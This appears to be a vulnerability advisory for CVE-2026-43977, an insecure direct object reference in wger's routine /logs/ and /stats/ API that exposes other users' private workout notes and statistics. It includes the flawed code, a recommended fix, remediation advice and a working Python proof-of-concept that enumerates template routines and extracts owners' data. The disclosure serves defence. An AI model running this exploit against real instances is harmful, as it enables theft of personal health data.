wger CVE-2026-43977
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.
The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).
An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.
Description
wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.
The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.
Root Cause
File: wger/manager/api/permissions.py, lines 30-41
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
if obj.is_template:
# ← any template is readable
return request.method in permissions.SAFE_METHODS
# by any authenticated user
return FalseFile: wger/manager/api/views.py, lines 173-199
@action(detail=True, url_path='logs')
def logs(self, request, pk):
out = LogDisplaySerializer(
self.get_object().logs_display(),
# ← returns OWNER's logs, not request.user's
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
out = LogStatsDataSerializer(
self.get_object().calculate_log_statistics()
# ← owner's statistics
).data
return Response(out)self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.
The intended behavior is that templates are public workout *plans* (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the *owner's personal training history* logged against that plan.
Impact
An authenticated attacker can:
- Enumerate all public template routines across all users:
GET /api/v2/routine/?is_template=true&is_public=true
- Read private workout session notes (freeform text entered by the victim after each workout session)
- Read full workout history including exercise names, weights, repetitions, and dates
- Read training statistics including volume, intensity, and set counts per muscle group and mesocycle
This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.
Proof of Concept
Scenario
There are two users in the system:
- alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.
- bob : a second registered user who has never interacted with alice's account.
The attack:
Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.
Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.
Step-by-step
- Bob registers a free account on the wger instance and obtains a JWT access token via
POST /api/v2/token. - Bob calls
GET /api/v2/routine/?is_template=true&is_public=truethis lists all public template routines from all users across the platform, including their IDs. - For each routine ID returned, Bob calls
GET /api/v2/routine/{id}/logs/this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps. - Bob calls
GET /api/v2/routine/{id}/stats/to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.
No special permissions are needed. A fresh account (1-minute-old) can exploit this.
Python PoC
#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target: GET /api/v2/routine/{id}/logs/
GET /api/v2/routine/{id}/stats/
"""
import requests
import json
BASE_URL = "http://TARGET_IP"
# replace with target
def get_token(username, password):
r = requests.post(
f"{BASE_URL}/api/v2/token",
json={"username": username, "password": password},
)
r.raise_for_status()
return r.json()["access"]
def exploit(attacker_token):
headers = {"Authorization": f"Bearer {attacker_token}"}
# Step 1: Enumerate all public template routines (from ALL users)
print("[*] Step 1: Enumerating public template routines...")
r = requests.get(
f"{BASE_URL}/api/v2/routine/",
params={"is_template": "true", "is_public": "true"},
headers=headers,
)
routines = r.json().get("results", [])
print(f"[+] Found {len(routines)} public template routine(s)\n")
for routine in routines:
routine_id = routine["id"]
routine_name = routine["name"]
print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")
# Step 2: Fetch the OWNER's workout session logs (IDOR)
logs_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
headers=headers,
)
if logs_r.status_code == 200:
sessions = logs_r.json()
print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
for session in sessions:
s = session.get("session", {})
print(f" Date: {s.get('date')}")
print(f" Notes: {s.get('notes')}")
# ← private user notes
print(f" Impression: {s.get('impression')}")
print(f" Logs: {len(session.get('logs', []))} exercise entries")
print()
# Step 3: Fetch the OWNER's training statistics (IDOR)
stats_r = requests.get(
f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
headers=headers,
)
if stats_r.status_code == 200:
stats = stats_r.json()
print(f"[+] Training statistics for routine #{routine_id}:")
volume = stats.get("volume", {}).get("mesocycle", {})
print(f" Total volume: {volume.get('total')} kg")
print(f" Upper body volume: {volume.get('upper_body')} kg")
print(f" Lower body volume: {volume.get('lower_body')} kg")
print()
print("-" * 60)
if __name__ == "__main__":
# Attacker uses their OWN credentials (no privilege needed)
print("[*] Authenticating as attacker (bob)...")
token = get_token("bob", "bobpassword")
print(f"[+] Token acquired\n")
exploit(token)Expected output
[*] Authenticating as attacker (bob)...
[+] Token acquired
[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)
[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
Date: 2024-06-15
Notes: SECRET workout note ← alice's private note
Impression: 3
Logs: 0 exercise entries
[+] Training statistics for routine #1:
Total volume: 0.00 kg
Upper body volume: 0.00 kg
Lower body volume: 0.00 kg<img width="671" height="594" alt="image" src="https://github.com/user-attachments/assets/473cfd87-a63a-452d-a4f3-1aad23c4be24" />
Recommended Fix
The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.
# wger/manager/api/views.py
@action(detail=True, url_path='logs')
def logs(self, request, pk):
routine = self.get_object()
# Only return logs for the requesting user, regardless of routine ownership
out = LogDisplaySerializer(
routine.logs_display(user=request.user),
many=True,
).data
return Response(out)
@action(detail=True, url_path='stats')
def stats(self, request, pk):
routine = self.get_object()
out = LogStatsDataSerializer(
routine.calculate_log_statistics(user=request.user)
).data
return Response(out)Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:
def has_object_permission(self, request, view, obj):
if obj.user == request.user:
return True
# Template routines are readable, but only their structure
# never their owner's personal training history
if obj.is_template and view.action not in ('logs', 'stats'):
return request.method in permissions.SAFE_METHODS
return FalseAnalysisAI
Insecure Direct Object Reference in wger fitness platform exposes any authenticated user's complete workout history, session notes, and training statistics through template routine API endpoints. Attackers with free accounts enumerate public template routine IDs and retrieve owners' private health data including workout notes, weights, repetitions, and performance metrics via /api/v2/routine/{id}/logs/ and /api/v2/routine/{id}/stats/ endpoints. Detailed proof-of-concept with Python exploit confirms trivial exploitation against wger <= 2.5.0a2. CVSS 7.5 rates this High severity, but NOTE: vector PR:N appears inconsistent with authenticated-only access described - attackers need valid credentials, suggesting actual vector should be PR:L. EPSS data not available. No CVE KEV listing or public exploit repositories identified beyond GitHub advisory disclosure. Patch status unconfirmed - GitHub advisory references fix commit but no released version number provided in available data.
Technical ContextAI
wger is an open-source fitness and workout management platform written in Python using Django REST Framework. The vulnerability affects the RoutineViewSet API implementation where custom actions /logs/ and /stats/ expose private user data through flawed permission logic. The RoutinePermission class (wger/manager/api/permissions.py) grants read access to any routine marked is_template=True regardless of ownership, treating public templates as fully readable resources. However, the /logs/ and /stats/ actions call self.get_object().logs_display() and calculate_log_statistics(), which return the routine owner's workout session data rather than filtering by request.user. This creates a classic IDOR (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) where authenticated attackers access arbitrary users' health records by manipulating routine IDs. The affected CPE pkg:pip/wger indicates Python package distribution. Sequential integer routine IDs enable complete enumeration. The flaw violates Django's object-level permission model by conflating resource structure (template workout plan) with personal data (individual training history logged against that plan).
RemediationAI
No vendor-released patched version number confirmed at time of analysis - GitHub advisory references a fix commit but does not specify a release version (see advisory GHSA-cj9g-27ph-4cgv at https://github.com/wger-project/wger/security/advisories/GHSA-cj9g-27ph-4cgv). Immediate actions: (1) Apply the recommended code changes from advisory to wger/manager/api/views.py: modify logs() and stats() methods to filter results by request.user instead of routine owner, passing user=request.user to logs_display() and calculate_log_statistics(). (2) Update wger/manager/api/permissions.py RoutinePermission.has_object_permission to explicitly deny /logs/ and /stats/ actions for non-owners regardless of is_template flag. (3) Test that public template routines remain accessible for structure/plan copying while personal training history remains isolated. Compensating controls if patching is delayed: Disable public template functionality by setting is_template=False for all routines (TRADE-OFF: breaks legitimate template sharing feature, impacts user experience). Alternatively, implement API gateway rate limiting on /api/v2/routine/*/logs/ and /api/v2/routine/*/stats/ endpoints and monitor for enumeration patterns (concurrent requests across sequential routine IDs from single user). Restrict new user registration if operating private instance. Under GDPR Article 33, EU-deployed instances must notify supervisory authority within 72 hours if exploitation occurred. Audit access logs for GET requests to /logs/ and /stats/ endpoints where requester user_id != routine owner user_id to identify potential data exfiltration.
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External POC / Exploit Code
Leaving vuln.today
GHSA-cj9g-27ph-4cgv